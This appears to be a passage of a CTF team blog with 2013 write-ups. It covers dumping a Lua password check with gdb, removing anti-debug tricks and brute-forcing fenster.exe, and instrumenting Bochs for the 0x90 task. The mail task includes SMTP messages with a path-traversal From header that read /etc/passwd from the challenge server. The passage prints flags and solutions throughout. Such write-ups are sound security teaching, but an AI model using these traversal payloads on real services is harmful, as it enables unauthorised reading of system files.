#| ||____|  |____|| | |   \______.'  | | |  `.______.'  | | |  '.______.'  | |
#| |              | | |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------' '----------------'
# .----------------. .----------------. .----------------.
#| .--------------. | .--------------. | .--------------. |
#| |     ____     | | |     ____     | | |     __       | |
#| |   .'    '.   | | |   .'    '.   | | |    \_ `.     | |
#| |  |  .--.  |  | | |  |  .--.  |  | | |      | |     | |
#| |  | |    | |  | | |  | |    | |  | | |       > >    | |
#| |  |  `--'  |  | | |  |  `--'  |  | | |     _| |     | |
#| |   '.____.'   | | |   '.____.'   | | |    /__.'     | |
#| |              | | |              | | |              | |
#| '--------------' | '--------------' | '--------------' |
# '----------------' '----------------' '----------------'

Transcibe this huge comment and you get the flag: ebCTF{edbdb03c7998fa751be21d1364a58600}. Victory.

bin300 - Crack the password'

Quick look at disassembly reveals it's a binary that loads obfuscated lua script and executes it via luaL_loadbuffer. We can just break there and read the script:
--- moon.gdb ---
b luaL_loadbuffer
set print elements 0
commands 1
call printf("%s\n",$rsi)
end
run
quit
--- end ---
$ gdb -q -nx -x moon.gdb moon
Reading symbols from /tmp/moon...(no debugging symbols found)...done.
Breakpoint 1 at 0x411110
warning: no loadable sections found in added symbol-file system-supplied DSO at 0x7ffff7ffa000
warning: Could not load shared library symbols for linux-vdso.so.1.
Do you need "set solib-search-path" or "set sysroot"?

Breakpoint 1, 0x0000000000411110 in luaL_loadbuffer ()
p = 54111037
g = 56321

io.write("Enter your password: ")
io.flush()
password=io.read()
if string.len(password) ~= 32 then
    print("Wrong!")
    return 0
end

v = g
alpha = "0123456789abcdef"
for loop =1,32 do
    v = v * g
    v = v % p
    r = v % 16
    good = string.sub(alpha,r+1,r+1)
    if good ~= string.sub(password,loop,loop) then
        print("Wrong!")
        return 0
    end
end
print("Well done, the flag is: ebCTF{"..password.."}")
-- f02233aca4839124ee6ffa766883c47e

$1 = 488
A debugging session is active.

        Inferior 1 [process 2096] will be killed.

Quit anyway? (y or n) [answered Y; input not from terminal]
My first guess that the comment is the flag paid off - just wrap it with ebCTF{} and submit. Done.

Monday, July 22, 2013

SIGINT CTF 2013: Task fenster (400 pts)



In this task we have a binary - fenster.exe (link to original exe: click), which checks if the given text is our sought flag. The executable is obfuscated and contains some anti-debug. The first step is to remove all garbage and produce a clean exe.
So, let's start!

The first debug check is inside TLS callback at 0x4019CB. All it does is:
encrypt(check_for_debugger, 0x1B, 0xEC, 0x00409CD8);
bool debugger = check_for_debugger();
encrypt(check_for_debugger, 0x1B, 0xEC, 0x00409CD8);
if (debugger) {
   exit(0);
}
encrypt(void* data, int size, int key, int* some_data) is a lengthy function (address: 0x40194B) responsible for data encryption / decryption, but its exact implemenation is not relevant to us. As you can see, we can just remove this TLS callback entry from the executable without any consequence later on.

If we enter the check_for_debugger routine, we can see three further anti-debugging techniques:
push ss
pop ss
This is quite tricky. Any modification of the ss register (excluding the lssinstruction) register causes interrupts to be delayed until the end of execution of next instruction. So, if we step through this code using a debugger (step into/over) the code will "escape" the single-stepping mode immediately after one steps into/over "pop ss". We can safely nop these instructions out.
pushfd
pop eax
This was probably inserted only to fool automatic analyzers and decompilators such as Hex-Rays. We can also nop it out.
call <jmp.&KERNEL32.IsDebuggerPresent>
Standard anti-debugging check, we can replace it with "xor eax,eax" or anything else. Those anti-debugs would often show up inside other functions, so watch out while stepping through the executable. ;)

The main function is located at 0x401EF9. It loads user input from stdin and then does the following with different dataA and dataB pointers in seven iterations (anti-debugging code is skipped, check is a function at 0x00401ab5):
encrypt(check, 0x24, KEY, SOME_PTR);
input_ok &= check(dataA, dataB, user_input);
encrypt(check, 0x24, KEY, SOME_PTR);
To make further analysis easier, we should dump the decrypted check function (and all sub-functions, which are encrypted too) and get rid of all calls to encrypt(). Once this is done, we are ready to dive into the check code and switch from OllyDbg to IDA.

After a brief analysis, it is clear that the function passes our input through finite-state machines (compiled regular expressions). The first subfunction at 0x401C44 performs some kind of initialization, the second one at 0x401C9D executes the machine and the last one at 0x401AD9 checks if the machine completed in a final state. The two pointers passed to check are:
  • int*** dataA - machine specification, dataA[state][letter] is a NULL-terminated list of states that we can reach from the given state after a specific letter. Note that states are numbered from 1 to 255 and dataA[0] refers to the first state. Only capital letters cause transitions. Index=0 corresponds to 'A' and index 25 to 'Z'.
  • int* dataB - a null-terminated list of final state indexes
Once we know the meaning of those structures, we can write some visualization and crack the regular expressions. I wrote a small C++ program which reads data from the "fenster" process, generates a graph description for dot and then compiles it to svg. The results are shown below (rectangles = final states, * = all capital letters, ^XY = all capitals without X and Y):

machine0.svg:

machine1.svg: 

machine2.svg: 

machine3.svg: 

machine4.svg: 

machine5.svg: 

machine6.svg: 

Solving them by hand would be painful (look at machine4.svg!), so the next step was to write an optimized brute-force solver. Analyzing the machines shows that:
  • machine0 - input must end with "EN" and the second letter is "E"
  • machine1 - input is a concatenation of pairs: {"NW", "EN", "ES", "CH", "SW", "RG", "GS", "SE", "RE", "GE", "NE"}
  • machine3 - input length is 16
With the above knowledge, we only have to check around 4*11^6 different inputs. The simplest way for me to check if the input was correct was to just reuse the original check function from fenster.exe loaded as a DLL. The solver's code was as follows:
#include <cstring>
#include <cstdio>
#include <Windows.h>
#include <cassert>

using namespace std;

int machines[7] =   { 0x4077A0, 0x407E40, 0x4082E0, 0x408BA0, 0x4098C0, 0x409B48, 0x409C68 };
int end_states[7] = { 0x4077DC, 0x407E70, 0x408300, 0x408BE4, 0x409920, 0x409B58, 0x409C70 };
const int pairscnt = 11;
char* pairs[pairscnt] = {"NW", "EN", "ES", "CH", "SW", "RG", "GS", "SE", "RE", "GE", "NE"};
char key[17] = " E            EN";
int it[7] = {7};
int regex_match, memset_addr;

__declspec(naked) bool __cdecl check()
{
    __asm
    {
        push edi
        push ebp
        mov ebp, esp
        and esp, 0xFFFFFFF0

        mov edi, 0

        looop:
            sub esp,4
            push offset key
            push end_states[edi*4]
            push machines[edi*4]
            call regex_match
            add esp, 0x10
            test eax,eax
            jz hop

            inc edi
            cmp edi, 7
        jnz looop

hop:
        mov esp, ebp
        pop ebp
        pop edi
        retn
    }
}

int main()
{
    int fenster = (int)LoadLibraryA("~fenster2.dll");

    // It doesn't work on bases different from 0x400000,
    // because the binary has no relocations (e.g. final states list pointers)
    // just run it until it works
    assert(fenster == 0x400000);
    regex_match = 0x401d97;
    memset_addr = 0x40C17C;

    // Resolving imports
    *(int*)memset_addr = (int)memset;

    // Assert that last pair is set
    assert(strlen(key) == 16);

    while(it[6] < pairscnt)
    {
        for(int i=0; i<7; i++)
           key[i*2] = pairs[it[i]][0],
           key[i*2+1] = pairs[it[i]][1];
 
        if(check())
            puts(key);
 
        it[0]++;
        for(int i=0; i<6 && it[i]==pairscnt; i++)
            it[i+1]++,
            it[i] = 0;
    }
    return 0;
}
where ~fenster2.dll is a deobfuscated executable, you can download it here: https://docs.google.com/file/d/0B-L9DIAuaV7STkNjNGdBY1RnQ2M/edit?usp=sharing. After running the application for a short while, it spit out the "REGENECHENSESWEN" textual string, which indeed turned out to be the correct flag. +400pts :)

Friday, July 12, 2013

SIGINT CTF 2013: Task 0x90 (300 pts)

The "0x90" task was found in the "reversing" category and was only solved by three teams in the end. The task archive contained two files:

j00ru@xxx:~/sigint/0x90$ ls 
0x90.run xor.bin 

The "xor.bin" file was eight bytes long and contained uninteresting binary data, while "0x90.run" turned out to be a 64-bit statically compiled ELF file of significant size:

j00ru@xxx:~/sigint/0x90$ file 0x90.run
0x90.run: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, for GNU/Linux 2.6.24, not stripped
j00ru@xxx:~/sigint/0x90$ du -hs 0x90.run
3.0M    0x90.run


Starting the program on an older machine throws the following error message:

Fatal Error: This program was not built to run on the processor in your system.
The allowed processors are: Intel(R) processors with SSE4.2 and POPCNT instructions support.


Interesting! Repeating the same action on a more recent hardware configuration doesn't seem to yield any evident results - the application successfully starts and extensively consumes CPU resources (using trigonometric functions), but nothing much happens on stdout:

(gdb) r
Starting program: /home/mjurczyk/Downloads/sigint/0x90/0x90.run 
^C
Program received signal SIGINT, Interrupt.
0x000000000040399f in atan.L ()
(gdb)

Lacking ways to interact with a running process, we decided to do some actual reverse engineering at this point. If you load the file up in IDA and take a brief look at the entry point, it is clearly visible that the executable was built with the Intel C++ Compiler (ICC):


Following a cursory analysis, we were able to establish the logic of the challenge and its actual goal. Long story short, the program stores a 64-bit hash throughout its entire lifetime, gradually forming its final value in the following manner:
hash ‹ 0xC23F3048EA749B76
if (ptrace(PTRACE_TRACEME) succeeds) {
  hash++
}
hash = merge_hashes(hash, calculate_hash(strip(argv[0]), strlen(strip(argv[0]))))
for (int i = 0; i < 1000; i++) {
  benchmark()
  hash = merge_hashes(hash, calculate_hash(image_base, image_size))
  hash += open64("/proc/self/status")
}
hash ^= xor.bin file contents

The program would then print out "sigint_" followed by the binary hash value casted to a textual form (i.e. each byte of the hash should be printable at this point, if it is valid). The exact implementations of the "merge_hashes" and "calculate_hash" functions are not relevant at this point; it is only important to note that the first ones `reduces` two 64-bit values into a single one using binary and arithmetic operations, whereas the second one calculates a 64-bit hash value given an input memory area.

In theory, obtaining the flag should be as easy as launching the executable and observing stdout. What makes it an actual challenge is the presence of the benchmark function, which further invokes one of two subroutines, depending on the CPU capabilities: benchmark_kerneldi_W and benchmark_kerneldi_A. In essence, each function were programmed to perform 10.000.000.000.000 (ten trillion) iterations of expensive SSE4.2 operations - something that would never realistically complete within the time frame of the CTF, which is where the problems begin.

There are several important conclusions we can draw here:
  1. we would like the program to complete in reasonable time, i.e. get rid of the time consuming benchmark loop.
  2. we would like the final hash to be equal to one which would be generated with the loop in place, which indicates that:
    1. the authors most likely expect us to use the original filename for the file, we should not change it.
    2. we should be careful attaching a debugger to the program because doing so might affect the output if we're not careful.
    3. also attaching a remote debugger past the ptrace() call is not possible.
    4. the program should use non-modified memory for hash computation, if we decide to make any alterations to its executable code.
    5. all calls to functions which make use of global variables (e.g. srand) are crucial and cannot be ommitted.
    6. file descriptors returned by open64 should be identical to ones returned normally (relevant to gdb, which creates additional descriptors in the target process and thus affects open64 return values).
 Considering the volume of requirements above, it is fairly troublesome to patch the program in a way that emulates the normal execution environment, but still removes the lengthy loop. While it is surely possible to develop such a patch, it is by no means elegant. The perfect solution would be to either:
  • obtain the correct return values of the "calculate_hash" function for argv[0] and program memory during each iteration, and create our own implementation of the final hash calculation, or ...
  • ... remove the loop in a way that does not require modifying the code of the loop itself, i.e. on CPU level.
Note that while changing the semantics of an instruction would typically require an x86 hardware debugger or ability to apply arbitrary microcode updates, there is a much easier way - you could use a CPU emulator, such as Bochs!

As both Gynvael and I had some prior experience with writing Bochs instrumentation (see here and here), I was happy to implement the idea. The next few minutes of development resulted in the creation of the following short code snippet:

#include <stdint.h>
#include <stdarg.h>
#include <time.h>

#include "bochs.h"
#include "cpu/cpu.h"
#include "cpu/instr.h"

#include "instrument.h"

#ifndef RAX
# define RAX pcpu->gen_reg[BX_64BIT_REG_RAX].rrx
#endif  // RAX

#ifndef RBX
# define RBX pcpu->gen_reg[BX_64BIT_REG_RBX].rrx
#endif  // RBX

#ifndef RIP
# define RIP pcpu->prev_rip
#endif  // RIP

void bx_instr_before_execution(unsigned cpu, bxInstruction_c *i) {
  static unsigned int adjustements = 0;

  BX_CPU_C *pcpu = BX_CPU(cpu);
  if (!pcpu->protected_mode()) {
    return;
  }

  if (RAX == 10000000000000LL) {
    RAX = 2;
    fprintf(stderr, "[sigint_0x90] {%u} Special RAX found and adjusted at RIP=%llx, %u\n",
            time(NULL), RIP, ++adjustements);
    fflush(stderr);
  } else if (RIP == 0x402669 && (RBX & 0xffffffff00000000LL)) {
    fprintf(stderr, "[sigint_0x90] {%u} Hash value: %llx\n", time(NULL), RBX);
    fflush(stderr);
  } else if (RIP == 0x4026e9 && RAX == RBX && RAX < 0x10000) {
    fprintf(stderr, "[sigint_0x90] {%u} open64() fd: %llx\n", time(NULL), RAX);
    fflush(stderr);
  }
}

The code would serve three different purposes - nullifying the benchmark loop and displaying information about the static image hash value and open64 syscall return value for each of 1000 external loop iterations. After building Bochs, booting up an Ubuntu 13.04 Server 64-bit guest (we happened to have a Bochs hdd image handy due to unrelated bochspwn project activity) and starting the 0x90.run executable, we could observe the following emulator console output:
While the executable in the guest system was running at around one iteration of the external loop per second, I reverse engineered and rewrote the merge_hashes, calculate_hash and final hash generation code to C++. Once I found that the static image hash is 0x79082a819dc08d7f for every loop iteration (i.e. no static memory of the program changes between) and the open64 numeric file descriptor values start at 4 and increment by one, I ended up with the following implementation:
#include <cstdio>
#include <cstdlib>
#include <cstring>
#include <stdint.h>
using namespace std;

uint64_t hash_region(const char *data, uint32_t length) {
  uint64_t h = 0;
  for (uint32_t i = 0; i < length; i++) {
    h = (h << 6) + (h << 16) - h + data[i];
  }
  return h;
}

uint64_t merge_hashes(uint64_t h, uint64_t g) {
  return ((g << 16) - g + (h << 8) + h);
}

int main() {
  const uint64_t kChallengeImageHash = 0x79082a819dc08d7f;
  const uint64_t kXorConstant = 0x6704b2e715d8d012;
  const char filename[] = "/0x90.run";

  // Initial value from: 
  //   mov     rbx, 0C23F3048EA749B76h
  uint64_t hash = 0xC23F3048EA749B76LL;

  // increment for failed ptrace(PTRACE_TRACEME); debugged process.
  // hash++;

  hash = merge_hashes(hash, hash_region(filename, strlen(filename)));

  // 1000 is a constant number of iterations:
  //   cmp     r14, 1000
  //   jb      loc_402546
  unsigned int open64_fd = 4;
  for (unsigned int i = 0; i < 1000; i++, open64_fd++) {
    hash = merge_hashes(hash, kChallengeImageHash) + open64_fd;
  }

  // Final stage: xor with the contents of xor.bin.
  hash ^= kXorConstant;

  // Display solution.
  uint8_t hash_string[12];
  memcpy(hash_string, &hash, sizeof(uint64_t));
  hash_string[8] = '\0';
  printf("hash(\"%s\") = %llx, sigint_%s\n", filename, hash, hash_string);

  return 0;
}

The output of the above code was as follows:

hash("/0x90.run") = 52336d6d6148636d, sigint_mcHamm3R

As you can imagine, "sigint_mcHamm3R" turned out to be the correct flag. +300 points. :) While writing a C++ turned out to be faster than waiting for 0x90.run to complete in Bochs, you could as well just wait for around 30 minutes and grab the flag directly from the program standard output:


Monday, July 8, 2013

SIGINT CTF 2013: Task mail (100 pts)

Task description:
Date: Sun, 30 Jun 2013 13:37:00 +0200
From: sales@cloud.cloud
To: hans@ck.er
message-id: c524e67c59dfd30c511baeda8197fc9a@cloud.cloud
Subject: Re: Evaluation of your B2B Storage Cloud Solution
Mime-Version: 1.0
Content-Type: multipart/mixed;
boundary="--==_mimepart_51d5c59b14bda_1fbbba2fe89623d";
charset=UTF-8Content-Transfer-Encoding: 7bit

----==_mimepart_51d5c59b14bda_1fbbba2fe89623d
Mime-Version: 1.0
Content-Type: text/plain;
charset=UTF-8
Content-Transfer-Encoding: 7bit

Dear Customer,

I am glad you are considering our Cloud for your large scale needs. In
response to your desire to evaluate the security of our cloud, I have
attached all relevant sourcecode to this mail. Our trained technicians
ensured me, of it beeing only best quality software. You will not be
disapointed. We have also set up a test deployment especially for you,
you may access it through test@b3.ctf.sigint.ccc.de.

We have invested quite a lot of money to be able to deliver you such
cloud service. As you may already know most insecure cloud offerings
are based the HTTP protocol. We have identified e-mail, which is the
backbone of modern business, as the optimal approach to deliver you
a secure and reliable cloud.

Looking forward to our business relationship.

Best regards from your
cloud.cloud sales represantitive

----==_mimepart_51d5c59b14bda_1fbbba2fe89623d
Mime-Version: 1.0
Content-Type: application/x-bzip2;
charset=UTF-8;
filename=source.tar.bz2
Content-Transfer-Encoding: base64
Content-Disposition: attachment;
filename=source.tar.bz2

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

----==_mimepart_51d5c59b14bda_1fbbba2fe89623d--
So as you can see, along with the message about new cloud software we also received
an attachment, which could be easily decoded using python: 
>>> from base64 import b64decode
>>> with open("encoded.txt", "r") as file: content = file.read().replace("\n", "")
...
>>> with open("source.tar.bz2", "w") as file: file.write(b64decode(content))
... 
After unpacking the archive, we ended up with handler.rb, a source of file storage system based on SMTP:
#!/usr/bin/ruby

require "pathname"
Dir.chdir(Pathname.new(__FILE__).dirname.to_s)

require "mail"

mail_size_limit= 16*1024
user_size_limit= 1024**2
users_dir= Pathname.new("user")

raw_incoming_mail= STDIN.read(mail_size_limit)
incoming_mail= Mail.new(raw_incoming_mail)

user= [incoming_mail.from].flatten[0].gsub('"', "")
exit 1 unless user
exit 1 unless user=~ /@/
subject= incoming_mail.subject
exit 1 unless subject
user_dir= users_dir + user.split("@", 2).reverse.join("___")
size_file= user_dir + ".size"
tmp_size_file= user_dir + ".size_tmp"

def send_response(original_mail, response_string, attachment= nil, response_subject=nil)
 Mail.deliver do |mail|
  to original_mail.from
  from original_mail.to
  subject response_subject || "Re: #{original_mail.subject}"
  add_file attachment if attachment
  body <<EOF
#{response_string}

--------
available commands:
signup
list
put
get <filename>
delete <filename>
share <filename> <user>
EOF
 end
end

def send_error(original_mail, error_string)
 Mail.deliver do |mail|
  to original_mail.from
  from original_mail.to
  subject "error Re: #{original_mail.subject}"
  body <<EOF
I am sorry to inform you, that your requested command could not be executed.
The reason is:

#{error_string}
EOF
 end
end

case subject
when "signup"
 if user_dir.directory?
  send_error(incoming_mail, "your are already signed up")
  exit
 end
 unless (user_dir+"../.signup_allowed").file?
  send_error(incoming_mail, "signup is currently disabled")
  exit
 end
 user_dir.mkdir
 size_file.open("w") { |f| f.puts 0 }
 send_response(incoming_mail, "signup successfull")
when "list"
 unless user_dir.directory?
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 file_listing= "your_files:\n" +
 user_dir.children.select do |file|
  file.basename.to_s[0] != ?.
 end.collect do |file|
  "#{file.basename} #{file.size/1024.0}Kb"
 end.join("\n")
 send_response(incoming_mail, file_listing)
when /\Aget ([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/
 file_name= $1
 file_path= user_dir+file_name
 unless user_dir.directory?
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 unless file_path.file?
  send_error(incoming_mail, "the requested file does not exist")
  exit
 end
 send_response(incoming_mail, "here is your requested file", file_path.to_s)
when /\Ashare ([A-Za-z0-9_-]+(\.[a-z0-9]+)?) ([A-Za-z0-9][A-Za-z0-9._-]*@([A-Za-z0-9-]+\.)+[A-Za-z]+)\Z/
 file_name= $1
 second_user= $3
 file_path= user_dir+file_name
 unless user_dir.directory?
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 unless file_path.file?
  send_error(incoming_mail, "the requested file does not exist")
  exit
 end
 second_user_dir= users_dir + second_user.split("@", 2).reverse.join("___")
 second_size_file= second_user_dir + ".size"
 second_file_path= second_user_dir + file_name
 unless second_size_file.file?
  send_error(incoming_mail, "the given user is not signed up")
  exit
 end
 if second_file_path.exist?
  send_error(incoming_mail, "file cannot be shared for unknown reasons")
  exit
 end
 second_file_path.make_symlink(file_path.to_s.sub("user/", "../"))
 send_response(incoming_mail, "file shared", file_path.to_s)
when /\Adelete ([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/
 file_name= $1
 file_path= user_dir+file_name
 user_size= begin
  size_file.read.to_i
 rescue Errno::ENOENT
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 unless file_name[0] != ?. and file_path.file?
  send_error(incoming_mail, "the requested file does not exist")
  exit
 end
 user_size-= file_path.size
 file_path.unlink
 tmp_size_file.open("w") { |f| f.puts user_size }
 tmp_size_file.rename(size_file)
 send_response(incoming_mail, "file deleted")
when "put"
 user_size= begin
  size_file.read.to_i
 rescue Errno::ENOENT
  send_error(incoming_mail, "you are not signed up")
  exit
 end
 attachment= incoming_mail.attachments[0]
 unless attachment and attachment.filename=~ /\A([A-Za-z0-9_-]+(\.[a-z0-9]+)?)\Z/
  send_error(incoming_mail, "no valid attachment found")
  exit
 end
 file_path= user_dir+attachment.filename
 if file_path.exist?
  send_error(incoming_mail, "file already exists")
  exit
 end
 attachement_body= attachment.body.decoded
 user_size+= attachement_body.size
 if user_size > user_size_limit
  send_error(incoming_mail, "you have no space left")
  exit
 end
 tmp_size_file.open("w") { |f| f.puts user_size }
 tmp_size_file.rename(size_file)
 file_path.open("w") { |f| f.write attachement_body }
 send_response(incoming_mail, "file saved")
end
After a quick code analysis we noticed that there was directory traversal vulnerability in the "From" header ("user" variable) and its only requirement was to have a '@' character somewhere within the string. In order to exploit the flaw, we could send the following message to test@b3.ctf.sigint.ccc.de:

HELO vnd.name
MAIL FROM: <vnd@vnd.name>
DATA
From: vnd/../@vnd.name
Subject: list
.
QUIT

However, because the return message containing a listing was sent back to the address specified in the "From" header, and e-mail addresses containing a '/' character are usually considered invalid, we needed to either patch an existing SMTP server or, what seemed to be a better option, write a very basic one from scratch using handy libraries. Furthermore, some DNS changes of MX records were required to redirect e-mail traffic to our box. The source code of a trivial SMTP server is as follows:
from datetime import datetime
import asyncore
from smtpd import SMTPServer

class RemoteServer(SMTPServer):
   no = 0
   def process_message(self, peer, mailfrom, rcpttos, data):
       filename = '%05d-%s.txt' % (self.no, datetime.now().strftime('%Y%m%d%H%M%S'))
       self.no += 1
       f = open(filename, 'w')
       f.write("%s\n%s\n%s\n" % (str(peer), str(mailfrom), str(rcpttos)))
       f.write(data)
       f.close
       print '%s saved.' % filename

def run():
   foo = RemoteServer(('0.0.0.0', 25), ('0.0.0.0', 25))
   try:
       asyncore.loop()
   except KeyboardInterrupt:
       pass

if __name__ == '__main__':
  run()

By using the above code, we could finally receive the list of registered users. As the flag was found in the /etc/passwd file (it took a while to guess that), we fetched it using the "get" method of the storage system.

HELO somehost
MAIL FROM: <vnd@vnd.name>
DATA
From: vnd/../../../../etc/@vnd.name
Subject: get passwd
.
QUIT

The file was sent in the attachment format, so we needed to unpack it again. The original contents of the file were as shown below:

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:105::/var/run/dbus:/bin/false
whoopsie:x:103:106::/nonexistent:/bin/false
landscape:x:104:109::/var/lib/landscape:/bin/false
sshd:x:105:65534::/var/run/sshd:/usr/sbin/nologin
challenge:x:1000:1000:SIGINT_do_not_trust_mail_addresses_17808d2cf719541b:/home/challenge:/bin/bash
postfix:x:106:114::/var/spool/postfix:/bin/false

The "SIGINT_do_not_trust_mail_addresses_17808d2cf719541b" flag visibly stood out in the file. It worked right away, +100pts. :)